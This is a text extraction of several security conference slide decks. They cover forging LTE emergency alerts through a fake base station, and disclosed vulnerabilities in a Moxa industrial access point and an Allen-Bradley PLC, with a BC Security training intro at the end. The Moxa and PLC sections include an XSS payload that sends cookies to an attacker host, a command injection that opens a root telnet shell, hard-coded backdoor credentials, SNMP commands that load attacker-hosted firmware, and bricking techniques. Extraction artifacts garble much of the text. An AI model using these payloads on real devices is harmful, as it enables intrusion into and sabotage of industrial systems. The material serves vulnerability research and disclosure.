02(The(Vulnerability(in(LTE(Protocol(
(
03(Trigger(the((Vulnerability(
(
(a.(Build(a(Fake(LTE(Base(Station(
(
(b.(Forge(the(Fake(Warning(Messages(
(
04(Conclusion(
01
About Public Warning System in LTE Network
Alert(the(Public(to(Such(Disasters(
PWS(Warning(System(All(Over(the(World
ETWS
KPAS
EU-ALERT
CMAS
• Hawaiian(Missile(Alert(in(January(2018(
Press(Release(
• Hawaiian(Missile(Alert(in(January(2018(
Press(Release(
02
The Vulnerability in LTE Protocol
Vulnerabilities(in(LTE(Protocol
1.
The(warning(messages(over(the(air(are(not(encrypted(or(
intergity(protected.(
2.
UE(doesn’t(authenticate((the(base(station(during(reselection(
Attack(vector
03
Trigger the vulnerability(
How(to(Build(a(Fake(LTE(Network
USRP(B210
ThinkPad(
srsLTE(/srsENB
Hardware
Software
Act like a Normal Base Station
How to get these parameters
Configuration/in/srsENB/
LTE/Discovery/App/
srsLTE/config/file/
PWS(Message's(Carrier—System(Information(Block
SIB/Type/1/
SIB(scheduling(information
SIB/Type/2/
Common(and(shared(channel(
information
SIB/Type/3/
Cell(re-selection(information(
SIB/Type/4/
Cell(re-selection(information(
intra-frequency(neighbor(
information
SIB/Type/5/
Cell(re-selection(information(
Intra-frequency(neighbor(
information
SIB/Type/6/
Cell(re-selection(information(
for(UTRA
SIB/Type/7/
Cell(re-selection(information(
for(GERAN
SIB/Type/8/
Cell-re-selection(information(
for(CDMA2000
SIB/Type/9/
Home(eNB(identifier
SIB/Type/10/
ETWS(primary(notification(
(Japan)
SIB/Type/11/
ETWS(Secondary(Notification(
(Japan)
SIB/Type/12/
EU-Alert((Europe)(
KPAS((South(Korea)(
CMAS(notification(USA)(
Forge(the(ETWS(Message
Four(main(components(getting(involved(in(sending(ETWS
• SIB(10(:(Primary(Notification(
• SIB(11(:(Secondary(Notification(
• Paging(:(ETWS(indication(
• SIB(1:(Schedule(SIB(10(and(SIB(11(
ETWS(Primary(Notification
• ETWS((Primary(Notification(message(can(not(contain(
specific((message(content.(
main(source(code(to(send(ETWS(primary(notification
Fake(Earthquake(Warning((Demo
• Custom(content(
• ETWS(secondary(notification(supports(message(
segmentation.(/
• It(supports(GSM-7(and(UCS-2(character(encoding(
standard.
ETWS(Secondary(Notification
ETWS(Secondary(Notification
Source(code(to(send(ETWS(secondary(notification
Not(Just(Warning(Message
• Set(Message(Identifier(to(0x1104(instead(of(0x1102(
• No(loud(alarm/sound,(just(mild(bells(
• Warning(messages(can(be(disguised(as(spam(messages(which(
may(contain(advertisements,(phishing(site(or(fraud(messages.(
(
Google(Pixel’s(Response
(a)/Earthquake/warning/message/in/English/
(b)/Earthquake/warning/message/in/Chinese
(c)/Spam/message/contains/phishing/site
(d)/Spam/message/contains/fraud/phone/number
(a)(
(b)(
(c)(
(d)(
Phishing(Warning(Message(Demo
iPhone’s(Response
l As(the(PWS(is(not(a(mandatory(specification(to(all(
countries,(different(models(of(mobile(phones(may(
react(differently.(
l The(iPhone(that(we(test(doesn’t((respond(to(the(
Primary(ETWS(Warning(message,(but(it(can(
respond(to(the(Secondary(ETWS(Warning(
message.(
l (The(iPhone(that(we(test(only(respond(to(the(test(
PLMN(MCC:(001(MNC:(01)(
iPhone’s(Response
iPhone’s(Response
Conclusion/
Risk/&/Mitigation//
Potential(Risk
‘WARNING:(Magnitude(10(Earthquake(Is(Coming(in(One(Minute’(
(
What(will(happen?(
It(may(cause(serious(population(panic
Mitigation
• Verification/of/authenticity/of/the/false/base/station/
• Add(authentication(procedure(after(cell(selection(
(
• Add(signature(to(the(broadcast(system(information
Mitigation
Network/signs/the/PWS/messages
Security)Algorithm
Security)Algorithm
K-SIG
K-SIG
System)Info
System)Info
Time)Counter
Time)Counter
System)Info
System)Info
Digital)
Signature
Digital)
Signature
Protected)System)Info
LSBs)of)Time)
Count
LSBs)of)Time)
Count
Q/A//
Thank/You/ | pdf |
FROM BOX TO BACKDOOR
U s i n g O l d S c h o o l To o l s a n d Te c h n i q u e s t o D i s c o v e r
B ac k doors in Modern Dev ic es
Patrick DeSantis | @pat_r10t
ADVANCED PERSISTENT THIRST (APT)
ADVANCED PERSISTENT THIRST (APT)
MOXA AWK-3131A WAP
MOXA WAP: ABOUT
“The AWK-3131A is 802.11n compliant to deliver speed, range, and
reliability to support even the most bandwidth-intensive applications. The
802.11n standard incorporates multiple technologies, including Spatial
Multiplexing MIMO (Multi-In, Multi-Out), 20 and 40 MHz channels, and dual
bands (2.4 GHz and 5 GHz) to provide high speed wireless communication,
while still being able to communicate with legacy 802.11a/b/g devices. The
AWK's operating temperature ranges from -25 to 60°C for standard models
and -40 to 75°C for wide temperature models, and is rugged enough for all
types of harsh industrial environments. Installation of the AWK is easy using
DIN-Rail mounting or distribution boxes, and with its wide operating
temperature range, IP30-rated housing with LED indicators, and DIN-Rail
mounting it is a convenient yet reliable solution for all types of industrial
wireless applications.”
- Moxa
MOXA WAP: ABOUT TL;DR
• It’s an 802.11n Wireless Access Point
(WAP)
– in a din rail mountable enclosure
– many of the the parts inside are the same
as in common SOHO networking devices
• Moxa advertises that the AWK series is
– "a Perfect Match for Your AGV & AS/RS
Systems”
• Automated Guided Vehicles (AGV)
• Automated Storage and Retrieval System
(AS/RS)
– common in Automated Materials Handling
(AMH) systems
MOXA WAP: ABOUT
• It’s “Unbreakable”
MOXA WAP: DEVICE LIMITATIONS
• Limited to about 8k connections per some unit of time
– lots of resource exhaustion DoS issues
– throttle traffic or wait for recovery
• Crashes… a lot
• No legit operating system access
• Very limited shell environment
– most management and configuration done via web app
• Crashes… A LOT
– so many crashes…
– often will reboot or need power cycle to recover
• later, we’ll have access to crash dumps and see a lot of these
crashes are seg faults
– want some CVEs?
MOXA WAP: DEVICE LIMITATIONS
MOXA WAP: DEVICE LIMITATIONS
CVE-2016-8723: Moxa AWK-3131A HTTP GET Denial of Service Vulnerability
MOXA WAP: FIRMWARE ANALYSIS
MOXA WAP: FIRMWARE ANALYSIS
MOXA WAP: SCAN AND ENUM
22/tcp &
&open&&
&ssh&Dropbear&sshd&0.53&
23/tcp &
&open&&
&telnet&BusyBox&telnetd&
80/tcp &
&open&&
&http&GoAhead&WebServer&
443/tcp&
&open&&
&ssl/http&GoAhead&WebServer&
5801/tcp& &open&&
&Moxa&serviceAgent&(TCP)&
5800/udp&
&open &
&Moxa&serviceAgent&(UDP)&
MOXA WAP: WEB APP
MOXA WAP: WEB APP
MOXA WAP: WEB APP
MOXA WAP: WEB APP - NONCE
• Cryptographic nonce:
– In crypto, a Number used ONCE
– Uses
• prevents replay attacks by ensuring “freshness”
• as a pseudo-random IV
• a salt in hashing algorithms
•
Not the Urban Dictionary definition of nonce
–
“(UK) Slang for paedophile”
MOXA WAP: WEB APP – SESSION
MOXA WAP: WEB APP - FREEZE NONCE
MOXA WAP: WEB APP - FREEZE NONCE
CVE-2016-8712: Moxa AWK-3131A Web Application Nonce Reuse Vulnerability
MOXA WAP: WEB APP - FIX SESSION
• The session token is calculated:
– token = MD5( password + nonce )
• The device has only:
– 1 user (admin) – effectively, there are no users
– 1 password (default is “root”)
– 1 nonce (changes after 5 mins of inactivity)
MOXA WAP: WEB APP - XSS
MOXA WAP: WEB APP - XSS
•
/client_list.asp&[devIndex¶meter]&
– devIndex=bikf4"><script>alert(document.cookie)<%2fscript>ej77g&
•
/multiple_ssid_set.asp&[devIndex¶meter]&
– devIndex=wireless_cert.asp?
index=bikf4"><script>alert(document.cookie)<%2fscript>ej77g&
•
/wireless_cert.asp&[index¶meter]&
– wireless_cert.asp?
index=bikf4"><script>alert(document.cookie)<%2fscript>ej77g&
•
/wireless_security.asp&[vapIndex¶meter]&
– vapIndex=bikf4"><script>alert(document.cookie)<%2fscript>ej77g&
CVE-2016-8719: Moxa AWK-3131A Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities
MOXA WAP: WEB APP - XSS
MOXA WAP: WEB APP - XSS
&
http://<device&IP>/wireless_cert.asp?index=?
index=%22%3E%3Cscript%3E&
window.location=%22http://<attacker&ip>/test?
cookie=%22.concat%28document.cookie&
%29%3C/script%3E&
MOXA WAP: WEB APP - XSS
MOXA WAP: WEB APP - XSS
• We have
– user name
(hardcoded)
– nonce
(frozen)
– session token
(stolen cookie)
• We can easily crack password
– it’s just MD5( password + nonce )
• But, we don’t need the password
– the nonce isn’t changing
– logout just clears cookie and redirects to login page
* as long as the nonce is frozen
MOXA WAP: WEB APP – OS CMD INJ
MOXA WAP: WEB APP – OS CMD INJ
CVE-2016-8721: Moxa AWK-3131A Web Application Ping Command Injection Vulnerability
MOXA WAP: WEB APP – OS CMD INJ
;&/bin/busybox&telnetd&-l/bin/sh&-p9999&
https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2010/february/busybox-command-injection/
MOXA WAP: WEB APP – OS CMD INJ
MOXA WAP: WEB APP - CSRF
CVE-2016-8718: Web Application Cross-Site Request Forgery Vulnerability
;&/bin/busybox&telnetd&-l/bin/sh&-p9999&
MOXA WAP: WEB APP - CSRF
MOXA WAP: ATTACK SUMMARY
Command Injection
Root Shell
CSRF
XSS
Freeze
Nonce
BusyBox
Telnet
Session Fixation
MOXA WAP: GET BINARIES
MOXA WAP: BACKDOOR
q 94jo3dkru4:Zg5SOmmQKk3kA:0:0:root:/:/bin/sh&
&
q daccli:$1$$oCLuEVgI1iAqOA8pwkzAg1:0:0:root:/:/usr/sbin/daccli&
&
q netdump:x:34:34:Network&Crash&Dump&user:/var/crash:/bin/bash&
&
q mysql:x:27:27:MySQL&Server:/var/lib/mysql:/bin/bash&
&
q admin:ZH0m6QMdLV0Wo:0:0:root:/:/usr/sbin/iw_console&
&
q art::0:0:art&calibration:/:/etc/art_shell.sh&
MOXA WAP: BACKDOOR
ü 94jo3dkru4:Zg5SOmmQKk3kA:0:0:root:/:/bin/sh&
&
q daccli:$1$$oCLuEVgI1iAqOA8pwkzAg1:0:0:root:/:/usr/sbin/daccli&
&
q netdump:x:34:34:Network&Crash&Dump&user:/var/crash:/bin/bash&
&
q mysql:x:27:27:MySQL&Server:/var/lib/mysql:/bin/bash&
&
q admin:ZH0m6QMdLV0Wo:0:0:root:/:/usr/sbin/iw_console&
&
q art::0:0:art&calibration:/:/etc/art_shell.sh&
MOXA WAP: BACKDOOR
MOXA WAP: BACKDOOR
MOXA WAP: BACKDOOR
&
$&strings&iw_doConfig&|&grep&moxa&
…&<snip>&…&
echo&"94jo3dkru4:moxaiw%s"&|&/sbin/chpasswd&
/bin/passwd&-u&94jo3dkru4&-p&"moxaiw%s"&
MOXA WAP: BACKDOOR
MOXA WAP: BACKDOOR
• Sets admin user’s password
– We know admin password is “root”
• Sets 94jo3dkru4 user’s password
– Doesn’t change the value being passed to %s
– “moxaiw%s” becomes “moxaiwroot”
• This is hard-coded in an initialization binary
– runs every time the device boots
MOXA WAP: BACKDOOR
MOXA WAP: BACKDOOR
CVE-2016-8717: Moxa AWK-3131A Hard-coded Administrator Credentials Vulnerability
MOXA WAP: BACKDOOR
&
iw_system((int32_t)"iw_onekey&%s&&");&
iw_system((int32_t)"killall&-2&%s");&
iw_system((int32_t)"ping&-c&4&%s&1>/var/pingtestlog.txt&2>&1");&
&
iw_system((int32_t)"openssl&aes-256-cbc&-d&-k&moxaiwroot&
-salt&-in&%s&-out&%s");&
&
iw_system((int32_t)"rm&%s");&
iw_system((int32_t)"echo&Import&Fail&>&%s");&
iw_system((int32_t)"touch&%s%s");&
iw_system((int32_t)"cd&%s&&&&tftp&-p&-r&%s&%s&&&&echo&$?&>&%s");&
iw_system((int32_t)"echo&\"TFTP&Server&no&response\"&>&%s");&
iw_system((int32_t)"rm&%s%s");&
MOXA WAP: NOW WHAT?
• We already have OS root&
• It’s a “read-only” file system
• We already grabbed all the binaries and configs
• We could install a backdoor
– but it already has one
• Lots of binaries already on device can be used to do
fun things
MOXA WAP: NOW WHAT?
80211debug&&&&&&&&&&&&&crontab&&&&&&&&&&&&&&&&find&&&&&&&&&&&&&&&&&&&ip&&&&&&&&&&&&&&&&&&&&&iw_testDevio&&&&&&&&&&&mdev&&&&&&&&&&&&&&&&&&&pwdx&&&&&&&&&&&&&&&&&&&start-stop-daemon&&&&&&uptime&
80211stats&&&&&&&&&&&&&cryptpw&&&&&&&&&&&&&&&&flock&&&&&&&&&&&&&&&&&&ipaddr&&&&&&&&&&&&&&&&&iw_testDo&&&&&&&&&&&&&&mesg&&&&&&&&&&&&&&&&&&&radartool&&&&&&&&&&&&&&stty&&&&&&&&&&&&&&&&&&&users&
[&&&&&&&&&&&&&&&&&&&&&&cttyhack&&&&&&&&&&&&&&&fold&&&&&&&&&&&&&&&&&&&ipcrm&&&&&&&&&&&&&&&&&&iw_troubleshoot&&&&&&&µcom&&&&&&&&&&&&&&&rdate&&&&&&&&&&&&&&&&&&su&&&&&&&&&&&&&&&&&&&&&usleep&
[[&&&&&&&&&&&&&&&&&&&&&cut&&&&&&&&&&&&&&&&&&&&free&&&&&&&&&&&&&&&&&&&ipcs&&&&&&&&&&&&&&&&&&&iw_typeSizeEnumerator&&mkdir&&&&&&&&&&&&&&&&&&readahead&&&&&&&&&&&&&&sulogin&&&&&&&&&&&&&&&&vconfig&
addgroup&&&&&&&&&&&&&&&date&&&&&&&&&&&&&&&&&&&fsync&&&&&&&&&&&&&&&&&&iperf&&&&&&&&&&&&&&&&&&iw_waitSetup&&&&&&&&&&&mknod&&&&&&&&&&&&&&&&&&readlink&&&&&&&&&&&&&&&sv&&&&&&&&&&&&&&&&&&&&&vi&
adduser&&&&&&&&&&&&&&&&dd&&&&&&&&&&&&&&&&&&&&&fuser&&&&&&&&&&&&&&&&&&iplink&&&&&&&&&&&&&&&&&iw_webs&&&&&&&&&&&&&&&&mkpasswd&&&&&&&&&&&&&&&readprofile&&&&&&&&&&&&svlogd&&&&&&&&&&&&&&&&&virtual_op&
adjtimex&&&&&&&&&&&&&&&delgroup&&&&&&&&&&&&&&&fw_printenv&&&&&&&&&&&&iproute&&&&&&&&&&&&&&&&iw_xmodemTest&&&&&&&&&&mktemp&&&&&&&&&&&&&&&&&realpath&&&&&&&&&&&&&&&sync&&&&&&&&&&&&&&&&&&&vlock&
apstats&&&&&&&&&&&&&&&&deluser&&&&&&&&&&&&&&&&fw_setenv&&&&&&&&&&&&&&iprule&&&&&&&&&&&&&&&&&iwconfig&&&&&&&&&&&&&&&modinfo&&&&&&&&&&&&&&&&reboot&&&&&&&&&&&&&&&&&sysctl&&&&&&&&&&&&&&&&&watch&
arp&&&&&&&&&&&&&&&&&&&&depmod&&&&&&&&&&&&&&&&&getopt&&&&&&&&&&&&&&&&&iptables&&&&&&&&&&&&&&&iwevent&&&&&&&&&&&&&&&&modprobe&&&&&&&&&&&&&&®&&&&&&&&&&&&&&&&&&&&syslogd&&&&&&&&&&&&&&&&watchdog&
arping&&&&&&&&&&&&&&&&&df&&&&&&&&&&&&&&&&&&&&&getty&&&&&&&&&&&&&&&&&&iptunnel&&&&&&&&&&&&&&&iwgetid&&&&&&&&&&&&&&&&mount&&&&&&&&&&&&&&&&&&renice&&&&&&&&&&&&&&&&&tail&&&&&&&&&&&&&&&&&&&wc&
ash&&&&&&&&&&&&&&&&&&&&dhcprelay&&&&&&&&&&&&&&getvalue&&&&&&&&&&&&&&&iw_CAFile_update&&&&&&&iwlist&&&&&&&&&&&&&&&&&mox_get_vid&&&&&&&&&&&&reset&&&&&&&&&&&&&&&&&&tar&&&&&&&&&&&&&&&&&&&&wget&
athdebug&&&&&&&&&&&&&&&diff&&&&&&&&&&&&&&&&&&&grep&&&&&&&&&&&&&&&&&&&iw_console&&&&&&&&&&&&&iwpriv&&&&&&&&&&&&&&&&&mox_vconfig&&&&&&&&&&&&resize&&&&&&&&&&&&&&&&&tcpdump&&&&&&&&&&&&&&&&wget.sh&
athstats&&&&&&&&&&&&&&&dirname&&&&&&&&&&&&&&&&groups&&&&&&&&&&&&&&&&&iw_console_user&&&&&&&&iwspy&&&&&&&&&&&&&&&&&&mpstat&&&&&&&&&&&&&&&&&rm&&&&&&&&&&&&&&&&&&&&&tcpsvd&&&&&&&&&&&&&&&&&which&
athstatsclr&&&&&&&&&&&&dmesg&&&&&&&&&&&&&&&&&&gunzip&&&&&&&&&&&&&&&&&iw_diagnose&&&&&&&&&&&&kill&&&&&&&&&&&&&&&&&&&mv&&&&&&&&&&&&&&&&&&&&&rmdir&&&&&&&&&&&&&&&&&&telnet&&&&&&&&&&&&&&&&&who&
awk&&&&&&&&&&&&&&&&&&&&dnsdomainname&&&&&&&&&&gzip&&&&&&&&&&&&&&&&&&&iw_doConfig&&&&&&&&&&&&killall&&&&&&&&&&&&&&&&nart.out&&&&&&&&&&&&&&&rmmod&&&&&&&&&&&&&&&&&&telnetd&&&&&&&&&&&&&&&&whoami&
basename&&&&&&&&&&&&&&&dnsmasq&&&&&&&&&&&&&&&&halt&&&&&&&&&&&&&&&&&&&iw_dst&&&&&&&&&&&&&&&&&killall5&&&&&&&&&&&&&&&netstat&&&&&&&&&&&&&&&&route&&&&&&&&&&&&&&&&&&test&&&&&&&&&&&&&&&&&&&whois&
beep&&&&&&&&&&&&&&&&&&&dropbear&&&&&&&&&&&&&&&hd&&&&&&&&&&&&&&&&&&&&&iw_event&&&&&&&&&&&&&&&klogd&&&&&&&&&&&&&&&&&&nice&&&&&&&&&&&&&&&&&&&rpcapd&&&&&&&&&&&&&&&&&test_get_eapol_key&&&&&wifi_setup&
blockdev&&&&&&&&&&&&&&&dropbearkey&&&&&&&&&&&&head&&&&&&&&&&&&&&&&&&&iw_event_user&&&&&&&&&&konf&&&&&&&&&&&&&&&&&&&nmeter&&&&&&&&&&&&&&&&&rtcwake&&&&&&&&&&&&&&&&test_get_node_list&&&&&wifi_test&
bootchartd&&&&&&&&&&&&&du&&&&&&&&&&&&&&&&&&&&&hexdump&&&&&&&&&&&&&&&&iw_firewall&&&&&&&&&&&&konfd&&&&&&&&&&&&&&&&&&nohup&&&&&&&&&&&&&&&&&&run-parts&&&&&&&&&&&&&&test_get_rssi_report&&&wirelessWatchdog&
brctl&&&&&&&&&&&&&&&&&&dumpleases&&&&&&&&&&&&&hostapd&&&&&&&&&&&&&&&&iw_fw&&&&&&&&&&&&&&&&&&lan_setup&&&&&&&&&&&&&&nslookup&&&&&&&&&&&&&&&runlevel&&&&&&&&&&&&&&&tftp&&&&&&&&&&&&&&&&&&&wlanconfig&
burnin_9344&&&&&&&&&&&&dumpregs&&&&&&&&&&&&&&&hostapd_cli&&&&&&&&&&&&iw_gps&&&&&&&&&&&&&&&&&lan_test&&&&&&&&&&&&&&&openssl&&&&&&&&&&&&&&&&runsv&&&&&&&&&&&&&&&&&&time&&&&&&&&&&&&&&&&&&&wpa_cli&
busybox&&&&&&&&&&&&&&&&ebtables&&&&&&&&&&&&&&&hostname&&&&&&&&&&&&&&&iw_handle_phy&&&&&&&&&&less&&&&&&&&&&&&&&&&&&&passwd&&&&&&&&&&&&&&&&&runsvdir&&&&&&&&&&&&&&&timeout&&&&&&&&&&&&&&&&wpa_passphrase&
cat&&&&&&&&&&&&&&&&&&&&ebtables-restore&&&&&&&hwclock&&&&&&&&&&&&&&&&iw_init&&&&&&&&&&&&&&&&lldpctl&&&&&&&&&&&&&&&&pgrep&&&&&&&&&&&&&&&&&&sed&&&&&&&&&&&&&&&&&&&&top&&&&&&&&&&&&&&&&&&&&wpa_supplicant&
chgrp&&&&&&&&&&&&&&&&&&echo&&&&&&&&&&&&&&&&&&&i2cdetect&&&&&&&&&&&&&&iw_ipConflict&&&&&&&&&&lldpd&&&&&&&&&&&&&&&&&&pidof&&&&&&&&&&&&&&&&&&seq&&&&&&&&&&&&&&&&&&&&touch&&&&&&&&&&&&&&&&&&xargs&
chmod&&&&&&&&&&&&&&&&&&eeprom&&&&&&&&&&&&&&&&&i2cdump&&&&&&&&&&&&&&&&iw_ip_update&&&&&&&&&&&ln&&&&&&&&&&&&&&&&&&&&&ping&&&&&&&&&&&&&&&&&&&serviceAgent&&&&&&&&&&&tr&&&&&&&&&&&&&&&&&&&&&yes&
chown&&&&&&&&&&&&&&&&&&egrep&&&&&&&&&&&&&&&&&&i2cget&&&&&&&&&&&&&&&&&iw_ntp&&&&&&&&&&&&&&&&&log&&&&&&&&&&&&&&&&&&&&pipe_progress&&&&&&&&&&setconsole&&&&&&&&&&&&&traceroute&&&&&&&&&&&&&zcat&
chpasswd&&&&&&&&&&&&&&&emiHandler&&&&&&&&&&&&&i2cset&&&&&&&&&&&&&&&&&iw_onekey&&&&&&&&&&&&&&logHandler&&&&&&&&&&&&&pkill&&&&&&&&&&&&&&&&&&setlogcons&&&&&&&&&&&&&true&&&&&&&&&&&&&&&&&&&zcip&
chpst&&&&&&&&&&&&&&&&&&env&&&&&&&&&&&&&&&&&&&&id&&&&&&&&&&&&&&&&&&&&&iw_ramImage&&&&&&&&&&&&logger&&&&&&&&&&&&&&&&&pktlogconf&&&&&&&&&&&&&setserial&&&&&&&&&&&&&&tty&&&&&&&&&&&&&&&&&&&&zip_main&
chroot&&&&&&&&&&&&&&&&&envdir&&&&&&&&&&&&&&&&&ifconfig&&&&&&&&&&&&&&&iw_resetd&&&&&&&&&&&&&&login&&&&&&&&&&&&&&&&&&pktlogdump&&&&&&&&&&&&&setsid&&&&&&&&&&&&&&&&&ttysize&
chrt&&&&&&&&&&&&&&&&&&&envuidgid&&&&&&&&&&&&&&ifdown&&&&&&&&&&&&&&&&&iw_setBios&&&&&&&&&&&&&logname&&&&&&&&&&&&&&&&pmap&&&&&&&&&&&&&&&&&&&setuidgid&&&&&&&&&&&&&&tunctl&
cksum&&&&&&&&&&&&&&&&&ðreg&&&&&&&&&&&&&&&&&ifrename&&&&&&&&&&&&&&&iw_setValue&&&&&&&&&&&&logread&&&&&&&&&&&&&&&&poweroff&&&&&&&&&&&&&&&sh&&&&&&&&&&&&&&&&&&&&&udhcpc&
clear&&&&&&&&&&&&&&&&&&event_logd&&&&&&&&&&&&&ifup&&&&&&&&&&&&&&&&&&&iw_snmpd&&&&&&&&&&&&&&&losetup&&&&&&&&&&&&&&&&printenv&&&&&&&&&&&&&&&slattach&&&&&&&&&&&&&&&udhcpd&
clish&&&&&&&&&&&&&&&&&&expand&&&&&&&&&&&&&&&&&init&&&&&&&&&&&&&&&&&&&iw_sysMon&&&&&&&&&&&&&&ls&&&&&&&&&&&&&&&&&&&&&printf&&&&&&&&&&&&&&&&&sleep&&&&&&&&&&&&&&&&&&umount&
comm&&&&&&&&&&&&&&&&&&&expr&&&&&&&&&&&&&&&&&&&insmod&&&&&&&&&&&&&&&&&iw_test&&&&&&&&&&&&&&&&lsmod&&&&&&&&&&&&&&&&&&ps&&&&&&&&&&&&&&&&&&&&&snmpd&&&&&&&&&&&&&&&&&&uname&
cp&&&&&&&&&&&&&&&&&&&&&false&&&&&&&&&&&&&&&&&&io&&&&&&&&&&&&&&&&&&&&&iw_testBoard&&&&&&&&&&&lsusb&&&&&&&&&&&&&&&&&&pstree&&&&&&&&&&&&&&&&&softlimit&&&&&&&&&&&&&&unexpand&
crond&&&&&&&&&&&&&&&&&&fgrep&&&&&&&&&&&&&&&&&&iostat&&&&&&&&&&&&&&&&&iw_testDesc&&&&&&&&&&&&md5sum&&&&&&&&&&&&&&&&&pwd&&&&&&&&&&&&&&&&&&&&sort&&
MOXA WAP: NOW WHAT?
• Modify legit binaries
– change the serviceAgent binary to deliver custom payloads to
the Moxa Windows configuration application
• this potentially allows an attacker to “swim upstream,” moving from
the device up to the IT network
• get around read-only: kill legit process and run evil from /var&
– “patch” the firmware install binary to skip integrity checks
• iptables, tunnels, catch all traffic, etc.
• Linux kernel modules
– insmod,&lsmod,&rmmod&
• Change RF parameters
– frequency, channel, strength, etc.
MOXA WAP: NOW WHAT?
MOXA WAP: SOFT BRICK
• killall5&
– “It sends a signal to all processes except kernel threads and
the processes in its own session”
– device requires manual hard power cycle
• physical reset button doesn’t work
• umount / mount games
• etc.
MOXA WAP: FIRM BRICK
• Not sure exactly how it happened J
• Was testing out a bunch of Moxa binaries
– suspect it was fw_setenv followed by a couple mount/umount&
and a reboot&
• the device never came back from the reboot
– have full console logs but haven’t been able to verify
• so far, unable to un-brick the device
• only have 1 functional device remaining
MOXA WAP: FIRM BRICK
/&#&fw_setenv&<opt>&
Unlocking&flash...&
Done&
Erasing&old&environment...&
Done&
Writing&environment&to&/dev/mtd1...&
Done&
Locking&...&
Done&
/&#&mount&-o&remount,rw&–a&
/&#&reboot&
&
MOXA WAP: FIRM BRICK
MOXA AWK-3131A: CVEs
1.
CVE-2016-8717
10.0
Hard-coded Administrator Credentials Vulnerability
2.
CVE-2016-8721
9.1
Web Application Ping Command Injection Vulnerability
3.
CVE-2016-8723
7.5
HTTP GET Denial of Service Vulnerability
4.
CVE-2016-8716
7.5
Web Application Cleartext Transmission of Password Vulnerability
5.
CVE-2016-8718
7.5
Web Application Cross-Site Request Forgery Vulnerability
6.
CVE-2016-8719
7.5
Web Application Multiple Reflected Cross-Site Scripting Vulnerabilities
7.
CVE-2016-8712
5.9
Web Application Nonce Reuse Vulnerability
8.
CVE-2016-8722
5.3
Web Application asqc.asp Information Disclosure Vulnerability
9.
CVE-2016-8720
3.1
Web Application bkpath HTTP Header Injection Vulnerability
10.
CVE-2016-0241
7.5
Web Application onekey Information Disclosure Vulnerability
11.
CVE-2016-8725
5.3
Web Application systemlog.log Information Disclosure Vulnerability
12.
CVE-2016-8724
5.3
serviceAgent Information Disclosure Vulnerability
13.
CVE-2016-8726
7.5
web_runScript Header Manipulation Denial of Service Vulnerability
MOXA AWK-3131A: HELLO
AB MICROLOGIX 1400 PLC
ML1400: ABOUT
• Programmable Logic Controller (PLC)
– “micro” and “nano” control systems
• as opposed to “small” or “large” control systems
– “conveyor automation, security systems, and building and
parking lot lighting”
• PLC includes built-in
– Input / Output
– Ethernet
– Serial
– Supports expansion I/O
ML1400: ABOUT
ML1400: FIRMWARE
• binwalk not much help
• strings not much help
• limited analysis tools
ML1400: FIRMWARE - STRINGS
ML1400: FIRMWARE - BINWALK
ML1400: FIRMWARE - BINWALK
binwalk&–A&<firmware>&
ML1400: HARDWARE
ML1400: FIRMWARE - BINWALK
ML1400: SNMP
ML1400: SNMP
snmpwalk&-v&2c&-c&public&192.168.42.11&
ML1400: SNMP BACKDOOR
snmpwalk&-c&public&-v&2c&192.168.42.11&.1.3.6.1.4.1.95&
ML1400: SNMP BACKDOOR
CVE-2016-5645: AB Rockwell Automation MicroLogix 1400 Code Execution Vulnerability
ML1400: SNMP BACKDOOR
ML1400: MODIFY FIRMWARE
ML1400: MODIFY FIRMWARE
ML1400: MODIFY FIRMWARE
&
~#&snmpset&-c&wheel&-v&2c&192.168.42.11&.
1.3.6.1.4.1.95.2.2.1.1.1.0&a&<attacker_IP>&
&
~#&snmpset&-c&wheel&-v&2c&192.168.42.11&.
1.3.6.1.4.1.95.2.2.1.1.2.0&s&"<evil_firmware>”&
&
~#&snmpset&-c&wheel&-v&2c&192.168.42.11&.
1.3.6.1.4.1.95.2.3.1.1.1.1.0&i&2&
ML1400: MODIFY FIRMWARE
ML1400: MODIFY FIRMWARE
ML1400: BYPASS INTEGRITY CHECK
• Only using self-reported checksum*
– Basic math
– At least two very easy bypasses
1. Find all occurrences of checksums in the firmware and update to
match the checksums of modified firmware
2. Make “compensating” changes when modifying firmware
– “zero sum” byte changes
» 0x12&0x34&à&0x34&0x12&
» 0x42&0x42&à&0x41&0x43&
» 0x00&0x00&0x00&0xFF&à&0x41&0x42&0x43&0x39&
• * Rockwell’s latest hardware revision (Series C) may use cryptographically-signed firmware
•
Not supported on older models
•
Challenge accepted J
ML1400: BYPASS INTEGRITY CHECK
ML1400: BYPASS INTEGRITY CHECK
ML1400: BYPASS INTEGRITY CHECK
ML1400: MODIFY FIRMWARE
ML1400: MODIFY FIRMWARE
ML1400: MODIFY FIRMWARE
ML1400: SOFT BRICK
4EF9&0004&0150&
&JMP&0x00040150&&
&
JMP&to&start&of&code&
&0x150&bytes&in&
&offset&0x40000&
ML1400: SOFT BRICK
4EF9&0004&0000&
&JMP&0x00040000&&
&
JMP&to&self&
ML1400: SOFT BRICK
ML1400: SOFT BRICK
Reboot
(Try TFTP
Firmware)
(Try Flash
Firmware)
ML1400: SOFT BRICK
ML1400: FIRM BRICK
• Unsuccessful with a few dozen “elegant” attacks
– creative changes of Coldfire instructions
– jump loops
• Success on first attempt of “hey, look over there” attack
– randomly move bytes* around
*bytes that are important but are not Coldfire instructions
ML1400: FIRM BRICK
ML1400: FIRM BRICK
ML1400: FIRM BRICK
ML1400: FIRM BRICK
ML1400: FIRM BRICK
ML1400: SHODAN
ML1400: HARD BRICK
ML1400: HARD BRICK
CONCLUSION
TL;DR: BOX TO BACKDOOR TO BRICK
THANK YOU
• Cisco Talos
– support
– beer
• Moxa Americas
– BusyBox GPL’d source code
– coordinated disclosure
• Rockwell Automation / Allen-Bradley
– coordinated disclosure
@talossecurity-
blog.talosintelligence.com-
Patrick DeSantis | @pat_r10t | pdf |
ANTHONY ROSE
JACOB KRASNOV
VINCENT ROSE
1
@bcsecurity1
2
Legal Stuff…So we don’t go to jail
Training is for informational and research
purposes only. We believe that ethical hacking,
information security and cyber security should be
familiar subjects to anyone using digital
information and computers. We believe that it is
impossible to defend yourself from hackers
without knowing how hacking is done. The
information provided by us is only for those who
are interested to learn about Ethical Hacking,
Security, Penetration Testing and malware
analysis.
Introduction
ANTHONY ROSE
C01И
◦ Co-founder, BC Security
◦ Lead Researcher, Merculite Security
◦ MS in Electrical Engineering
◦ Lockpicking Hobbyist
◦ Bluetooth & Wireless Security
Enthusiast
3
whoami
JACOB KRASNOV
HUBBLE
◦ Co-founder, BC Security
